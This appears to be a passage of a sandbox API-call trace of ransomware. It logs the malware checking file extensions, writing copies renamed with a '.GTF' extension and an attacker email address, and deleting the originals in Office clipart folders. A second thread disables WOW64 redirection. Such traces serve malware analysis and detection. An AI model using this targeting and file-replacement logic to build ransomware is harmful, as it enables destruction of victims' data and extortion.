	[0184.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68
	[0184.551] lstrlenW (lpString=".dbf") returned 4
	[0184.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68
	[0184.552] lstrlenW (lpString=".1cd") returned 4
	[0184.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68
	[0184.552] lstrlenW (lpString=".jpg") returned 4
	[0184.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.552] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.552] lstrlenW (lpString="J0187895.WMF") returned 12
	[0184.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.553] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=3472) returned 1
	[0184.553] CloseHandle (hObject=0x3fc) returned 1
	[0184.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf")) returned 0x220
	[0184.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.553] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.553] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0184.554] GetLastError () returned 0x0
	[0184.554] ReadFile (in: hFile=0x3fc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0xd90, lpOverlapped=0x0) returned 1
	[0184.566] WriteFile (in: hFile=0x404, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xda0, lpOverlapped=0x0) returned 1
	[0184.567] ReadFile (in: hFile=0x3fc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.567] WriteFile (in: hFile=0x404, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.567] SetEndOfFile (hFile=0x404) returned 1
	[0184.567] CloseHandle (hObject=0x404) returned 1
	[0184.567] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.567] SetEndOfFile (hFile=0x3fc) returned 1
	[0184.572] CloseHandle (hObject=0x3fc) returned 1
	[0184.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf")) returned 1
	[0184.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68
	[0184.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68
	[0184.591] lstrlenW (lpString=".doc") returned 4
	[0184.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.591] lstrlenW (lpString=".docx") returned 5
	[0184.591] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0184.591] lstrlenW (lpString=".pdf") returned 4
	[0184.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.591] lstrlenW (lpString=".xls") returned 4
	[0184.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.591] lstrlenW (lpString=".xlsx") returned 5
	[0184.591] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0184.591] lstrlenW (lpString=".ppt") returned 4
	[0184.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68
	[0184.591] lstrlenW (lpString=".zip") returned 4
	[0184.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.591] lstrlenW (lpString=".rar") returned 4
	[0184.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.591] lstrlenW (lpString=".bz2") returned 4
	[0184.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.591] lstrlenW (lpString=".7z") returned 3
	[0184.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68
	[0184.592] lstrlenW (lpString=".dbf") returned 4
	[0184.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68
	[0184.592] lstrlenW (lpString=".1cd") returned 4
	[0184.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68
	[0184.592] lstrlenW (lpString=".jpg") returned 4
	[0184.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68
	[0184.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68
	[0184.592] lstrlenW (lpString=".doc") returned 4
	[0184.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString=".docx") returned 5
	[0184.592] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0184.592] lstrlenW (lpString=".pdf") returned 4
	[0184.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString=".xls") returned 4
	[0184.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.592] lstrlenW (lpString=".xlsx") returned 5
	[0184.592] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0184.592] lstrlenW (lpString=".ppt") returned 4
	[0184.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68
	[0184.592] lstrlenW (lpString=".zip") returned 4
	[0184.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.592] lstrlenW (lpString=".rar") returned 4
	[0184.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString=".bz2") returned 4
	[0184.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.592] lstrlenW (lpString=".7z") returned 3
	[0184.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68
	[0184.592] lstrlenW (lpString=".dbf") returned 4
	[0184.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68
	[0184.593] lstrlenW (lpString=".1cd") returned 4
	[0184.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68
	[0184.593] lstrlenW (lpString=".jpg") returned 4
	[0184.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.593] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.593] lstrlenW (lpString="J0187921.WMF") returned 12
	[0184.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0184.711] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=5000) returned 1
	[0184.711] CloseHandle (hObject=0x33c) returned 1
	[0184.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf")) returned 0x220
	[0184.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0184.713] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.713] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0184.714] GetLastError () returned 0x0
	[0184.714] ReadFile (in: hFile=0x33c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1388, lpOverlapped=0x0) returned 1
	[0184.716] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1390, lpOverlapped=0x0) returned 1
	[0184.717] ReadFile (in: hFile=0x33c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.717] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.717] SetEndOfFile (hFile=0x3d0) returned 1
	[0184.717] CloseHandle (hObject=0x3d0) returned 1
	[0184.717] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.717] SetEndOfFile (hFile=0x33c) returned 1
	[0184.720] CloseHandle (hObject=0x33c) returned 1
	[0184.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf")) returned 1
	[0184.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68
	[0184.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68
	[0184.721] lstrlenW (lpString=".doc") returned 4
	[0184.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.721] lstrlenW (lpString=".docx") returned 5
	[0184.721] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0184.721] lstrlenW (lpString=".pdf") returned 4
	[0184.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.721] lstrlenW (lpString=".xls") returned 4
	[0184.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.721] lstrlenW (lpString=".xlsx") returned 5
	[0184.721] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0184.721] lstrlenW (lpString=".ppt") returned 4
	[0184.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68
	[0184.722] lstrlenW (lpString=".zip") returned 4
	[0184.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.722] lstrlenW (lpString=".rar") returned 4
	[0184.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.722] lstrlenW (lpString=".bz2") returned 4
	[0184.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.722] lstrlenW (lpString=".7z") returned 3
	[0184.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68
	[0184.722] lstrlenW (lpString=".dbf") returned 4
	[0184.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68
	[0184.722] lstrlenW (lpString=".1cd") returned 4
	[0184.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68
	[0184.722] lstrlenW (lpString=".jpg") returned 4
	[0184.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68
	[0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68
	[0184.722] lstrlenW (lpString=".doc") returned 4
	[0184.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.722] lstrlenW (lpString=".docx") returned 5
	[0184.722] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0184.722] lstrlenW (lpString=".pdf") returned 4
	[0184.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.722] lstrlenW (lpString=".xls") returned 4
	[0184.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.722] lstrlenW (lpString=".xlsx") returned 5
	[0184.722] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0184.722] lstrlenW (lpString=".ppt") returned 4
	[0184.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68
	[0184.722] lstrlenW (lpString=".zip") returned 4
	[0184.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.723] lstrlenW (lpString=".rar") returned 4
	[0184.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.723] lstrlenW (lpString=".bz2") returned 4
	[0184.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.723] lstrlenW (lpString=".7z") returned 3
	[0184.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68
	[0184.723] lstrlenW (lpString=".dbf") returned 4
	[0184.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68
	[0184.723] lstrlenW (lpString=".1cd") returned 4
	[0184.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68
	[0184.723] lstrlenW (lpString=".jpg") returned 4
	[0184.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.723] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.723] lstrlenW (lpString="J0188513.WMF") returned 12
	[0184.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0184.724] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=12292) returned 1
	[0184.724] CloseHandle (hObject=0x33c) returned 1
	[0184.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf")) returned 0x220
	[0184.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0184.724] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.725] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0184.725] GetLastError () returned 0x0
	[0184.725] ReadFile (in: hFile=0x33c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x3004, lpOverlapped=0x0) returned 1
	[0184.867] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x3010, lpOverlapped=0x0) returned 1
	[0184.868] ReadFile (in: hFile=0x33c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.868] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.868] SetEndOfFile (hFile=0x3d0) returned 1
	[0184.869] CloseHandle (hObject=0x3d0) returned 1
	[0184.869] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.869] SetEndOfFile (hFile=0x33c) returned 1
	[0184.871] CloseHandle (hObject=0x33c) returned 1
	[0184.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) 

Thread:
	id = 47
	os_tid = 0xe20

	[0152.802] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3a60778
	[0152.802] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3a70780
	[0152.803] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6257d0
	[0152.803] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x622b58
	[0152.803] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6256f8
	[0152.803] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3ff2020
	[0152.805] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6257e8
	[0152.805] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6257e8, Size=0x20) returned 0x5dde80
	[0152.806] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6258d8
	[0152.806] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6258d8, Size=0x20) returned 0x5ddfe8
	[0152.806] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0152.806] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0152.806] Wow64DisableWow64FsRedirection (in: OldValue=0x360ff50 | out: OldValue=0x360ff50*=0x0) returned 1
	[0152.806] lstrlenW (lpString="kernel32.dll") returned 12
	[0152.806] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dde80 | out: hHeap=0x5a0000) returned 1
	[0152.806] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0152.806] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddfe8 | out: hHeap=0x5a0000) returned 1
	[0152.806] Sleep (dwMilliseconds=0x64) 
	[0153.123] Sleep (dwMilliseconds=0x64) 
	[0153.336] Sleep (dwMilliseconds=0x64) 
	[0153.649] lstrcmpiW (lpString1=".LOG", lpString2=".GTF") returned 1
	[0153.649] lstrlenW (lpString="BCD.LOG") returned 7
	[0153.649] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0153.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0153.650] lstrlenW (lpString=".doc") returned 4
	[0153.650] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0153.650] lstrlenW (lpString=".docx") returned 5
	[0153.650] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0153.650] lstrlenW (lpString=".pdf") returned 4
	[0153.650] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0153.650] lstrlenW (lpString=".xls") returned 4
	[0153.650] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0153.650] lstrlenW (lpString=".xlsx") returned 5
	[0153.650] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0153.650] lstrlenW (lpString=".ppt") returned 4
	[0153.650] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0153.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0153.650] lstrlenW (lpString=".zip") returned 4
	[0153.650] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0153.650] lstrlenW (lpString=".rar") returned 4
	[0153.650] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0153.650] lstrlenW (lpString=".bz2") returned 4
	[0153.650] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0153.650] lstrlenW (lpString=".7z") returned 3
	[0153.650] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0153.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0153.650] lstrlenW (lpString=".dbf") returned 4
	[0153.650] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0153.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
